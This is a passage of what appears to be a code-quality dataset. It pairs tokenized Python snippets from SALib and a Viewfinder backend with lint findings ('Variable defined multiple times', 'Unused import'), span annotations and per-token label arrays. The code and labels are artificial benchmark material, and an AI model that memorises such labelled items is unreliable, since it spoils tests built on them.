2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
SALib/SALib/SALib/sample/morris.py
[ { "content": "def sample_groups(problem, N, num_levels, grid_jump):\n '''\n Returns an N(g+1)-by-k array of N trajectories;\n where g is the number of groups and k is the number of factors\n '''\n G, group_names = compute_groups_matrix(problem['groups'], problem['num_vars'])\n\n if G is None:\n raise ValueError(\"Please define the matrix G.\")\n if type(G) is not np.matrixlib.defmatrix.matrix:\n raise TypeError(\"Matrix G should be formatted as a numpy matrix\")\n\n k = G.shape[0]\n g = G.shape[1]\n sample = np.empty((N * (g + 1), k))\n sample = np.array([generate_trajectory(G, num_levels, grid_jump) for n in range(N)])\n return sample.reshape((N * (g + 1), k))", "metadata": "root.sample_groups", "header": "['module', '___EOS___']", "index": 138 } ]
[ { "span": "sample ", "start_line": 152, "start_column": 4, "end_line": 152, "end_column": 10 } ]
[ { "span": "sample ", "start_line": 153, "start_column": 4, "end_line": 153, "end_column": 10 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sample", "\\u", "groups_", "(_", "problem_", ",_", "N_", ",_", "num", "\\u", "levels_", ",_", "grid", "\\u", "jump_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "an", " ", "N", "(", "g", "+", "1", ")-", "by", "-", "k", " ", "array", " ", "of", " ", "N", " ", "trajectories", ";", "\\", "10", ";", " ", " ", " ", " ", "where", " ", "g", " ", "is", " ", "the", " ", "number", " ", "of", " ", "group", "s", " ", "and", " ", "k", " ", "is", " ", "the", " ", "number", " ", "of", " ", "factor", "s", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G_", ",_", "group", "\\u", "names_", "=_", "compute", "\\u", "group", "s", "\\u", "matrix_", "(_", "problem_", "[_", "'", "group", "s", "'_", "]_", ",_", "problem_", "[_", "'", "num", "\\u", "vars", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "G_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "Ple", "ase", " ", "defin", "e", " ", "the", " ", "matrix", " ", "G", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "type_", "(_", "G_", ")_", "is_", "not_", "np_", "._", "matrix", "lib_", "._", "def", "matrix_", "._", "matrix_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "Matrix", " ", "G", " ", "shou", "ld", " ", "be", " ", "format", "ted", " ", "as", " ", "a", " ", "nump", "y", " ", "matrix", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "k_", "=_", "G_", "._", "shape_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "G_", "._", "shape_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sample_", "=_", "np_", "._", "empty_", "(_", "(_", "N_", "*_", "(_", "g_", "+_", "1_", ")_", ",_", "k_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sample_", "=_", "np_", "._", "array_", "(_", "[_", "generat", "e\\u", "trajectory_", "(_", "G_", ",_", "num", "\\u", "levels_", ",_", "grid", "\\u", "jump_", ")_", "for_", "n_", "in_", "range_", "(_", "N_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "sample_", "._", "reshape_", "(_", "(_", "N_", "*_", "(_", "g_", "+_", "1_", ")_", ",_", "k_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
viewfinderco/viewfinder/backend/db/friend.py
[ { "content": "# Copyright 2012 Viewfinder Inc. All Rights Reserved.\n\n\"\"\"Friend relation.\n\nViewfinder friends define a relationship between two users predicated on confirmation of photo\nsharing permission. Each friend has an associated 'status', which can be:\n\n - 'friend': user has been marked as a friend; however, that user may not have the reverse\n friendship object.\n - 'muted': a friend who has attained special status as an unwanted irritant. Content shared\n from these friends is not shown, though still received and can be retrieved.\n - 'blocked': a friend who has attained special status as an unwanted irritant. These users will\n not show up in suggestions lists and cannot be contacted for sharing.\n\nFriends are different than contacts. Contacts are the full spectrum of social connections. A\ncontact doesn't become a viewfinder friend until a share has been completed.\n\nNOTE: Next comment is outdated, but we may re-enable something similar in future.\nThe 'colocated_shares', 'total_shares', 'last_colocated' and 'last_share' values are used to\nquantify the strength of the sharing relationship. Each time the users in a friend relationship\nare co-located, 'colocated_shares' is decayed based on 'last_colocated' and the current time\nand updated either with a +1 if the sharing occurs or a -1 if not. 'total_shares' is similarly\nupdated, though not just when the users are co-located, but on every share that a user initiates.\n\n Friend: viewfinder friend information\n\"\"\"\n\n__authors__ = ['[email protected] (Spencer Kimball)',\n '[email protected] (Andy Kimball)']\n\nimport logging\nimport math\n\nfrom functools import partial\nfrom tornado import gen\nfrom viewfinder.backend.base import util\nfrom viewfinder.backend.base.exceptions import NotFoundError\nfrom viewfinder.backend.db import db_client, vf_schema\nfrom viewfinder.backend.db.base import DBObject\nfrom viewfinder.backend.db.range_base import DBRangeObject\nfrom viewfinder.backend.op.notification_manager import NotificationManager\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@DBObject.map_table_attributes\nclass Friend(DBRangeObject):\n \"\"\"Viewfinder friend data object.\"\"\"\n __slots__ = []\n\n _table = DBObject._schema.GetTable(vf_schema.FRIEND)\n\n FRIEND = 'friend'\n MUTED = 'muted'\n BLOCKED = 'blocked'\n\n FRIEND_ATTRIBUTES = set(['nickname'])\n \"\"\"Subset of friend attributes that should be projected to the user.\"\"\"\n\n _SHARE_HALF_LIFE = 60 * 60 * 24 * 30 # 1 month\n\n\n\n\n\n\n\n", "metadata": "root.Friend", "header": "['module', '___EOS___']", "index": 43 }, { "content": " def __init__(self, user_id=None, friend_id=None):\n super(Friend, self).__init__()\n self.user_id = user_id\n self.friend_id = friend_id\n self.status = Friend.FRIEND", "metadata": "root.Friend.__init__", "header": "['class', 'Friend', '(', 'DBRangeObject', ')', ':', '___EOS___']", "index": 59 }, { "content": " def IsBlocked(self):\n \"\"\"Returns true if the \"friend\" identified by self.friend_id is blocked.\"\"\"\n return self.status == Friend.BLOCKED", "metadata": "root.Friend.IsBlocked", "header": "['class', 'Friend', '(', 'DBRangeObject', ')', ':', '___EOS___']", "index": 65 }, { "content": " def DecayShares(self, timestamp):\n \"\"\"Decays 'total_shares' and 'colocated_shares' based on 'timestamp'. Updates 'last_share'\n and 'last_colocated' to 'timestamp'.\n \"\"\"\n def _ComputeDecay(shares, last_time):\n if last_time is None:\n assert shares is None, shares\n return 0\n decay = math.exp(-math.log(2) * (timestamp - last_time) /\n Friend._SHARE_HALF_LIFE)\n return shares * decay\n\n self.total_shares = _ComputeDecay(self.total_shares, self.last_share)\n self.last_share = timestamp\n self.colocated_shares = _ComputeDecay(self.colocated_shares, self.last_colocated)\n self.last_colocated = timestamp", "metadata": "root.Friend.DecayShares", "header": "['class', 'Friend', '(', 'DBRangeObject', ')', ':', '___EOS___']", "index": 69 }, { "content": " def IncrementShares(self, timestamp, shared, colocated):\n \"\"\"Decays and updates 'total_shares' and 'last_share' based on whether sharing occurred\n ('shared'==True). If 'colocated', the 'colocated_shares' and 'last_colocated' are updated\n similarly.\n \"\"\"\n self.DecayShares(timestamp)\n self.total_shares += (1.0 if shared else -1.0)\n if colocated:\n self.colocated_shares += (1.0 if shared else -1.0)", "metadata": "root.Friend.IncrementShares", "header": "['class', 'Friend', '(', 'DBRangeObject', ')', ':', '___EOS___']", "index": 86 }, { "content": " @classmethod\n @gen.engine\n def MakeFriends(cls, client, user_id, friend_id, callback):\n \"\"\"Creates a bi-directional friendship between user_id and friend_id if it does not already\n exist. Invokes the callback with the pair of friendship objects:\n [(user_id=>friend_id), (friend_id=>user_id)]\n \"\"\"\n from viewfinder.backend.db.user import User\n\n # Determine whether one or both sides of the friendship are missing.\n forward_friend, reverse_friend = \\\n yield [gen.Task(Friend.Query, client, user_id, friend_id, None, must_exist=False),\n gen.Task(Friend.Query, client, friend_id, user_id, None, must_exist=False)]\n\n # Make sure that both sides of the friendship have been created.\n if forward_friend is None:\n forward_friend = Friend.CreateFromKeywords(user_id=user_id, friend_id=friend_id, status=Friend.FRIEND)\n yield gen.Task(forward_friend.Update, client)\n\n if reverse_friend is None:\n reverse_friend = Friend.CreateFromKeywords(user_id=friend_id, friend_id=user_id, status=Friend.FRIEND)\n yield gen.Task(reverse_friend.Update, client)\n\n callback((forward_friend, reverse_friend))", "metadata": "root.Friend.MakeFriends", "header": "['class', 'Friend', '(', 'DBRangeObject', ')', ':', '___EOS___']", "index": 96 }, { "content": " @classmethod\n @gen.engine\n def MakeFriendsWithGroup(cls, client, user_ids, callback):\n \"\"\"Creates bi-directional friendships between all the specified users. Each user will be\n friends with every other user.\n \"\"\"\n yield [gen.Task(Friend.MakeFriends, client, user_id, friend_id)\n for index, user_id in enumerate(user_ids)\n for friend_id in user_ids[index + 1:]\n if user_id != friend_id]\n callback()", "metadata": "root.Friend.MakeFriendsWithGroup", "header": "['class', 'Friend', '(', 'DBRangeObject', ')', ':', '___EOS___']", "index": 121 }, { "content": " @classmethod\n @gen.engine\n def MakeFriendAndUpdate(cls, client, user_id, friend_dict, callback):\n \"\"\"Ensures that the given user has at least a one-way friend relationship with the given\n friend. Updates the friend relationship attributes with those given in \"friend_dict\".\n \"\"\"\n from viewfinder.backend.db.user import User\n\n friend = yield gen.Task(Friend.Query, client, user_id, friend_dict['user_id'], None, must_exist=False)\n\n if friend is None:\n # Ensure that the friend exists as user in the system.\n friend_user = yield gen.Task(User.Query, client, friend_dict['user_id'], None, must_exist=False)\n if friend_user is None:\n raise NotFoundError('User %d does not exist.' % friend_dict['user_id'])\n\n # Create a one-way friend relationship from the calling user to the friend user.\n friend = Friend.CreateFromKeywords(user_id=user_id, friend_id=friend_dict['user_id'], status=Friend.FRIEND)\n\n # Update all given attributes.\n assert friend_dict['user_id'] == friend.friend_id, (friend_dict, friend)\n for key, value in friend_dict.iteritems():\n if key != 'user_id':\n assert key in Friend.FRIEND_ATTRIBUTES, friend_dict\n setattr(friend, key, value)\n\n yield gen.Task(friend.Update, client)\n callback()", "metadata": "root.Friend.MakeFriendAndUpdate", "header": "['class', 'Friend', '(', 'DBRangeObject', ')', ':', '___EOS___']", "index": 133 }, { "content": " @classmethod\n @gen.engine\n def UpdateOperation(cls, client, callback, user_id, friend):\n \"\"\"Updates friend metadata for the relationship between the given user and friend.\"\"\"\n # Update the metadata.\n yield gen.Task(Friend.MakeFriendAndUpdate, client, user_id, friend)\n\n # Send notifications to all the calling user's devices.\n yield NotificationManager.NotifyUpdateFriend(client, friend)\n\n callback()", "metadata": "root.Friend.UpdateOperation", "header": "['class', 'Friend', '(', 'DBRangeObject', ')', ':', '___EOS___']", "index": 162 } ]
[ { "span": "import logging", "start_line": 30, "start_column": 0, "end_line": 30, "end_column": 14 }, { "span": "from functools import partial", "start_line": 33, "start_column": 0, "end_line": 33, "end_column": 29 }, { "span": "from viewfinder.backend.base import util", "start_line": 35, "start_column": 0, "end_line": 35, "end_column": 40 }, { "span": "from viewfinder.backend.db import db_client, vf_schema", "start_line": 37, "start_column": 0, "end_line": 37, "end_column": 54 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2012", " ", "View", "finde", "r", " ", "Inc", ".", " ", "All", " ", "Rig", "hts", " ", "Reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Friend", " ", "relation", ".", "\\", "10", ";", "\\", "10", ";", "View", "finde", "r", " ", "friends", " ", "defin", "e", " ", "a", " ", "relation", "ship", " ", "bet", "ween", " ", "two", " ", "users", " ", "predica", "ted", " ", "on", " ", "confirmation", " ", "of", " ", "photo", "\\", "10", ";", "shar", "ing", " ", "permissi", "on", ".", " ", "Ea", "ch", " ", "frie", "nd", " ", "has", " ", "an", " ", "associate", "d", " ", "'", "status", "',", " ", "whi", "ch", " ", "can", " ", "be", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", "-", " ", "'", "frie", "nd", "':", " ", " ", "user", " ", "has", " ", "bee", "n", " ", "marked", " ", "as", " ", "a", " ", "frie", "nd", ";", " ", "how", "ever", ",", " ", "tha", "t", " ", "user", " ", "may", " ", "not", " ", "have", " ", "the", " ", "reverse", "\\", "10", ";", " ", " ", " ", "friends", "hip", " ", "object", ".", "\\", "10", ";", " ", " ", "-", " ", "'", "muted", "':", " ", " ", " ", "a", " ", "frie", "nd", " ", "who", " ", "has", " ", "att", "aine", "d", " ", "special", " ", "status", " ", "as", " ", "an", " ", "unwa", "nte", "d", " ", "irr", "ita", "nt", ".", " ", "Conten", "t", " ", "shared", "\\", "10", ";", " ", " ", " ", "from", " ", "these", " ", "friends", " ", "is", " ", "not", " ", "shown", ",", " ", "tho", "ugh", " ", "still", " ", "receive", "d", " ", "and", " ", "can", " ", "be", " ", "retrieved", ".", "\\", "10", ";", " ", " ", "-", " ", "'", "block", "ed", "':", " ", "a", " ", "frie", "nd", " ", "who", " ", "has", " ", "att", "aine", "d", " ", "special", " ", "status", " ", "as", " ", "an", " ", "unwa", "nte", "d", " ", "irr", "ita", "nt", ".", " ", "The", "se", " ", "users", " ", "will", "\\", "10", ";", " ", " ", " ", "not", " ", "show", " ", "up", " ", "in", " ", "suggestions", " ", "lists", " ", "and", " ", "cann", "ot", " ", "be", " ", "contact", "ed", " ", "for", " ", "shar", "ing", ".", "\\", "10", ";", "\\", "10", ";", "Friends", " ", "are", " ", "different", " ", "than", " ", "contact", "s", ".", " ", "Conta", "ct", "s", " ", "are", " ", "the", " ", "full", " ", "spectr", "um", " ", "of", " ", "social", " ", "connections", ".", " ", "A", "\\", "10", ";", "contact", " ", "doe", "sn", "'", "t", " ", "bec", "ome", " ", "a", " ", "view", "finde", "r", " ", "frie", "nd", " ", "unti", "l", " ", "a", " ", "share", " ", "has", " ", "bee", "n", " ", "complete", "d", ".", "\\", "10", ";", "\\", "10", ";", "NOTE", ":", " ", "Ne", "xt", " ", "comment", " ", "is", " ", "outdate", "d", ",", " ", "but", " ", "we", " ", "may", " ", "re", "-", "enable", " ", "somet", "hing", " ", "similar", " ", "in", " ", "future", ".", "\\", "10", ";", "The", " ", "'", "colo", "cated", "\\u", "share", "s", "',", " ", "'", "total", "\\u", "share", "s", "',", " ", "'", "last", "\\u", "colo", "cated", "'", " ", "and", " ", "'", "last", "\\u", "share", "'", " ", "values", " ", "are", " ", "used", " ", "to", "\\", "10", ";", "quanti", "fy", " ", "the", " ", "streng", "th", " ", "of", " ", "the", " ", "shar", "ing", " ", "relation", "ship", ".", " ", "Ea", "ch", " ", "time", " ", "the", " ", "users", " ", "in", " ", "a", " ", "frie", "nd", " ", "relation", "ship", "\\", "10", ";", "are", " ", "co", "-", "located", ",", " ", "'", "colo", "cated", "\\u", "share", "s", "'", " ", "is", " ", "deca", "yed", " ", "based", " ", "on", " ", "'", "last", "\\u", "colo", "cated", "'", " ", "and", " ", "the", " ", "current", " ", "time", "\\", "10", ";", "and", " ", "update", "d", " ", "eit", "her", " ", "with", " ", "a", " ", "+", "1", " ", "if", " ", "the", " ", "shar", "ing", " ", "occur", "s", " ", "or", " ", "a", " ", "-1", " ", "if", " ", "not", ".", " ", "'", "total", "\\u", "share", "s", "'", " ", "is", " ", "similar", "ly", "\\", "10", ";", "update", "d", ",", " ", "tho", "ugh", " ", "not", " ", "just", " ", "whe", "n", " ", "the", " ", "users", " ", "are", " ", "co", "-", "located", ",", " ", "but", " ", "on", " ", "every", " ", "share", " ", "tha", "t", " ", "a", " ", "user", " ", "initiate", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "Friend", ":", " ", "view", "finde", "r", " ", "frie", "nd", " ", "informati", "on", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "authors\\u", "\\u_", "=_", "[_", "'", "spe", "nce", "r", "@", "email", "scrub", "bed", ".", "com", " ", "(", "Spe", "nce", "r", " ", "Ki", "mba", "ll", ")'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "and", "y", "@", "email", "scrub", "bed", ".", "com", " ", "(", "And", "y", " ", "Ki", "mba", "ll", ")'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "math_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "functools_", "import_", "partial_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "tornado_", "import_", "gen_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "import_", "util_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "base_", "._", "exceptions_", "import_", "Not", "Foun", "d", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "import_", "db", "\\u", "client_", ",_", "vf", "\\u", "schema_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "base_", "import_", "DB", "Object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "db_", "._", "range", "\\u", "base_", "import_", "DB", "Range", "Object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "view", "finder_", "._", "backend_", "._", "op_", "._", "notification", "\\u", "manager_", "import_", "Notifi", "cation", "Manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "DB", "Object_", "._", "map", "\\u", "table", "\\u", "attributes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class_", "Friend", "_", "(_", "DB", "Range", "Object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "View", "finde", "r", " ", "frie", "nd", " ", "data", " ", "object", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "slots\\u\\u_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "table_", "=_", "DB", "Object_", "._", "\\u", "schema_", "._", "Get", "Table_", "(_", "vf", "\\u", "schema_", "._", "FRI", "END_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "FRI", "END_", "=_", "'", "frie", "nd", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "MUT", "ED_", "=_", "'", "muted", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "BLOCK", "ED_", "=_", "'", "block", "ed", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "FRI", "END", "\\u", "ATTRIBUTES_", "=_", "set_", "(_", "[_", "'", "nick", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\"\"\"", "Subset", " ", "of", " ", "frie", "nd", " ", "attribute", "s", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "projected", " ", "to", " ", "the", " ", "user", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "SHAR", "E", "\\u", "HALF", "\\u", "LIF", "E_", "=_", "60_", "*_", "60_", "*_", "24_", "*_", "30_", "#", " ", "1", " ", "month_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Friend", "_", "(_", "DB", "Range", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "user", "\\u", "id_", "=_", "None_", ",_", "frie", "nd", "\\u", "id_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Friend", "_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "user", "\\u", "id_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "frie", "nd", "\\u", "id_", "=_", "frie", "nd", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "status_", "=_", "Friend", "_", "._", "FRI", "END_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Friend", "_", "(_", "DB", "Range", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Is", "Blocked", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "true", " ", "if", " ", "the", " ", "\"", "frie", "nd", "\"", " ", "identifi", "ed", " ", "by", " ", "self", ".", "frie", "nd", "\\u", "id", " ", "is", " ", "block", "ed", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "status_", "==_", "Friend", "_", "._", "BLOCK", "ED_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Friend", "_", "(_", "DB", "Range", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Decay", "Share", "s_", "(_", "self_", ",_", "timestamp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Decay", "s", " ", "'", "total", "\\u", "share", "s", "'", " ", "and", " ", "'", "colo", "cated", "\\u", "share", "s", "'", " ", "based", " ", "on", " ", "'", "timestamp", "'.", " ", "Update", "s", " ", "'", "last", "\\u", "share", "'", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "'", "last", "\\u", "colo", "cated", "'", " ", "to", " ", "'", "timestamp", "'.", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Compute", "Decay", "_", "(_", "shares_", ",_", "last", "\\u", "time_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "last", "\\u", "time_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "shares_", "is_", "None_", ",_", "shares_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "decay_", "=_", "math_", "._", "exp_", "(_", "-_", "math_", "._", "log_", "(_", "2_", ")_", "*_", "(_", "timestamp_", "-_", "last", "\\u", "time_", ")_", "/_", "\\u\\u\\uNL\\u\\u\\u_", "Friend", "_", "._", "\\u", "SHAR", "E", "\\u", "HALF", "\\u", "LIF", "E_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "shares_", "*_", "decay_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "total", "\\u", "shares_", "=_", "\\u", "Compute", "Decay", "_", "(_", "self_", "._", "total", "\\u", "shares_", ",_", "self_", "._", "last", "\\u", "share_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "last", "\\u", "share_", "=_", "timestamp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "colo", "cated", "\\u", "shares_", "=_", "\\u", "Compute", "Decay", "_", "(_", "self_", "._", "colo", "cated", "\\u", "shares_", ",_", "self_", "._", "last", "\\u", "colo", "cated", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "last", "\\u", "colo", "cated", "_", "=_", "timestamp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Friend", "_", "(_", "DB", "Range", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Increment", "Share", "s_", "(_", "self_", ",_", "timestamp_", ",_", "shared_", ",_", "colo", "cated", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Decay", "s", " ", "and", " ", "update", "s", " ", "'", "total", "\\u", "share", "s", "'", " ", "and", " ", "'", "last", "\\u", "share", "'", " ", "based", " ", "on", " ", "whe", "ther", " ", "shar", "ing", " ", "occur", "red", "\\", "10", ";", " ", " ", " ", " ", "('", "shared", "'=", 